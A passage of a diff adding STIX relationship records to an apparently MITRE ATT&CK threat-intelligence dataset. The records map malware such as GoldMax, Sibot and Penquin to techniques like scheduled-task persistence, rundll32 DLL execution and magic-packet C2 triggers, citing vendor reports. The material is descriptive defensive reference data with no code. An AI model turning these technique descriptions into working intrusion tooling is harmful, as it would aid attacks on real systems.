layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) retrieved a list of the system's network interface after execution.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--57ac1c4f-03fb-4b9e-a4b3-21eb76e7e305", + "type": "relationship", + "modified": "2021-03-12T16:55:09.336Z", + "created": "2021-03-12T16:55:09.336Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + }, + { + "source_name": "FireEye SUNSHUTTLE Mar 2021", + "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", + "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) can check the current date-time value of the compromised system, comparing it to the hardcoded execution trigger and can send the current timestamp to the C2 server.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021) ", + "relationship_type": "uses", + "id": "relationship--2ff84270-830f-4de8-b93c-4ee3a9a46781", + "type": "relationship", + "modified": "2021-03-16T16:27:36.037Z", + "created": "2021-03-12T16:55:09.340Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) has set an execution trigger date and time, stored as an ASCII Unix/Epoch time value.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--cbc18998-67f4-493a-b0d3-4aa50da3c407", + "type": "relationship", + "modified": "2021-03-12T16:55:09.342Z", + "created": "2021-03-12T16:55:09.342Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + }, + { + "source_name": "FireEye SUNSHUTTLE Mar 2021", + "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", + "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021." + } + ], + "description": "[GoldMax](https://attack.mitre.org/software/S0588) has decoded and decrypted the configuration file when executed.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", + "relationship_type": "uses", + "id": "relationship--99e6e6cb-c19e-4689-8c92-b5429c709b91", + "type": "relationship", + "modified": "2021-03-15T21:09:44.550Z", + "created": "2021-03-12T16:55:09.346Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." + } + ], + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has used scheduled tasks to maintain persistence.(Citation: Crowdstrike GTR2020 Mar 2020)", + "relationship_type": "uses", + "id": "relationship--053d1126-0d8d-4048-be96-d1a395a1fe8c", + "type": "relationship", + "modified": "2021-03-12T17:26:12.436Z", + "created": "2021-03-12T17:26:12.436Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) will delete itself if a certain server response is received.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--9fce9cf9-2795-4384-abb5-cb049b3d4329", + "type": "relationship", + "modified": "2021-04-20T22:28:08.291Z", + "created": "2021-03-12T18:46:47.215Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) can decrypt data received from a C2 and save to a file.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--aafa7447-cb73-4309-ac75-5326ab0d1079", + "type": "relationship", + "modified": "2021-03-12T18:46:47.204Z", + "created": "2021-03-12T18:46:47.204Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) checked if the compromised system is configured to use proxies.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--453679cf-e04c-4419-9b94-9a150092a04d", + "type": "relationship", + "modified": "2021-03-12T18:46:47.225Z", + "created": "2021-03-12T18:46:47.225Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) has used WMI to discover network connections and configurations. [Sibot](https://attack.mitre.org/software/S0589) has also used the Win32_Process class to execute a malicious DLL.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--6988baa7-1b48-4203-8020-7bb3fb38098d", + "type": "relationship", + "modified": "2021-04-20T22:28:08.343Z", + "created": "2021-03-12T18:46:47.236Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) has retrieved a GUID associated with a present LAN connection on a compromised machine.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--ca5d71c9-2184-4cb2-9a63-2146fba66175", + "type": "relationship", + "modified": "2021-03-12T18:46:47.237Z", + "created": "2021-03-12T18:46:47.237Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) communicated with its C2 server via HTTP GET requests.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--fbc77ca5-46b1-4c5b-8e48-d053d1eb238d", + "type": "relationship", + "modified": "2021-03-12T18:46:47.254Z", + "created": "2021-03-12T18:46:47.254Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) has installed a second-stage script in the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\sibot registry key.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--e41eea8b-20d6-4050-96e6-6b59670f6e65", + "type": "relationship", + "modified": "2021-04-20T22:28:08.459Z", + "created": "2021-03-12T18:46:47.265Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) has been executed via a scheduled task.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--2496d1c4-cb04-40ab-9f9a-0102da3e6d77", + "type": "relationship", + "modified": "2021-03-12T18:46:47.271Z", + "created": "2021-03-12T18:46:47.271Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) has been executed via MSHTA application.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--acd4b81e-6bef-4ac0-bf4b-2428b5c9c6b9", + "type": "relationship", + "modified": "2021-03-12T18:46:47.273Z", + "created": "2021-03-12T18:46:47.273Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) has executed downloaded DLLs with rundll32.exe.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--bdb9f6a6-7fe0-47e5-b708-3cb92360f6f9", + "type": "relationship", + "modified": "2021-03-12T18:46:47.275Z", + "created": "2021-03-12T18:46:47.275Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) has downloaded a DLL to the C:\\windows\\system32\\drivers\\ folder and renamed it with a .sys extension.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--3e79db26-a2ce-4233-a86c-5a97b10dd937", + "type": "relationship", + "modified": "2021-03-12T18:46:47.319Z", + "created": "2021-03-12T18:46:47.319Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "[Sibot](https://attack.mitre.org/software/S0589) can download and execute a payload onto a compromised system.(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--8fe424be-6873-4b25-a87e-88b2de005d7f", + "type": "relationship", + "modified": "2021-03-12T18:46:47.334Z", + "created": "2021-03-12T18:46:47.334Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "target_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "external_references": [ + { + "source_name": "Kaspersky Dtrack", + "url": "https://usa.kaspersky.com/about/press-releases/2019_dtrack-previously-unknown-spy-tool-hits-financial-institutions-and-research-centers", + "description": "Kaspersky Global Research and Analysis Team. (2019, September 23). DTrack: previously unknown spy-tool by Lazarus hits financial institutions and research centers. Retrieved January 20, 2021." + } + ], + "description": "(Citation: Kaspersky Dtrack)", + "relationship_type": "uses", + "id": "relationship--3b24afd4-b13b-4c73-bb20-aeff4a44574c", + "type": "relationship", + "modified": "2021-03-12T19:53:38.756Z", + "created": "2021-03-12T19:53:38.756Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + }, + { + "source_name": "Kaspersky Turla Penquin December 2014", + "url": "https://securelist.com/the-penquin-turla-2/67962/", + "description": "Baumgartner, K. and Raiu, C. (2014, December 8). The \u2018Penquin\u2019 Turla. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) can sniff network traffic to look for packets matching specific conditions.(Citation: Leonardo Turla Penquin May 2020)(Citation: Kaspersky Turla Penquin December 2014)", + "relationship_type": "uses", + "id": "relationship--9148cfab-450f-4aa7-a427-3ddf8e8d686a", + "type": "relationship", + "modified": "2021-03-15T15:39:50.934Z", + "created": "2021-03-15T14:58:08.449Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) can remove strings from binaries.(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--ab009520-dffe-4494-9468-0189060cca01", + "type": "relationship", + "modified": "2021-03-15T15:14:41.581Z", + "created": "2021-03-15T15:05:13.845Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + }, + { + "source_name": "Kaspersky Turla Penquin December 2014", + "url": "https://securelist.com/the-penquin-turla-2/67962/", + "description": "Baumgartner, K. and Raiu, C. (2014, December 8). The \u2018Penquin\u2019 Turla. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) will connect to C2 only after sniffing a \"magic packet\" value in TCP or UDP packets matching specific conditions.(Citation: Leonardo Turla Penquin May 2020)(Citation: Kaspersky Turla Penquin December 2014)", + "relationship_type": "uses", + "id": "relationship--5488dd31-2a28-4250-89ff-963214f46b92", + "type": "relationship", + "modified": "2021-03-15T15:42:01.880Z", + "created": "2021-03-15T15:05:13.847Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) can delete downloaded executables after running them.(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--f476b228-f729-4809-b40e-6c402da30c5d", + "type": "relationship", + "modified": "2021-03-15T15:14:41.515Z", + "created": "2021-03-15T15:14:41.515Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) can report the file system type and disk space of a compromised host to C2.(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--e2b67455-4986-46f4-a4ff-f5ee215ef998", + "type": "relationship", + "modified": "2021-03-15T15:20:25.733Z", + "created": "2021-03-15T15:20:25.733Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", + "external_references": [ + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "[Penquin](https://attack.mitre.org/software/S0587) can add the executable flag to a downloaded file.(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--c270ebd7-56e2-4ede-bd45-57da4a0065f2", + "type": "relationship", + "modified": "2021-03-15T15:20:25.752Z", + "created": "2021-03-15T15:20:25.752Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "external_references": [ + { + "source_name": "Kaspersky Turla Penquin December 2014", + "url": "https://securelist.com/the-penquin-turla-2/67962/", + "description": "Baumgartner, K. and Raiu, C. (2014, December 8). The \u2018Penquin\u2019 Turla. Retrieved March 11, 2021." + }, + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "description": "The [Penquin](https://attack.mitre.org/software/S0587) C2 mechanism is based on TCP and UDP packets.(Citation: Kaspersky Turla Penquin December 2014)(Citation: Leonardo Turla Penquin May 2020)", + "relationship_type": "uses", + "id": "relationship--ce59452d-d258-435f-aa91-329de56eba8e", + "type": "relationship", + "modified": "2021-03-15T15:39:50.464Z", + "created": "2021-03-15T15:39:50.464Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--cf2c7355-42a5-46ac-af88-f7386875165f", + "type": "relationship", + "modified": "2021-03-15T17:54:00.814Z", + "created": "2021-03-15T17:54:00.814Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "target_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", + "external_references": [ + { + "source_name": "MSTIC NOBELIUM Mar 2021", + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021." + } + ], + "description": "(Citation: MSTIC NOBELIUM Mar 2021)", + "relationship_type": "uses", + "id": "relationship--0eecd867-acf0-42f0-9cf6-a00b729e5d63", + "type": "relationship", + "modified": "2021-03-15T17:54:00.831Z", + "created": "2021-03-15T17:54:00.831Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": 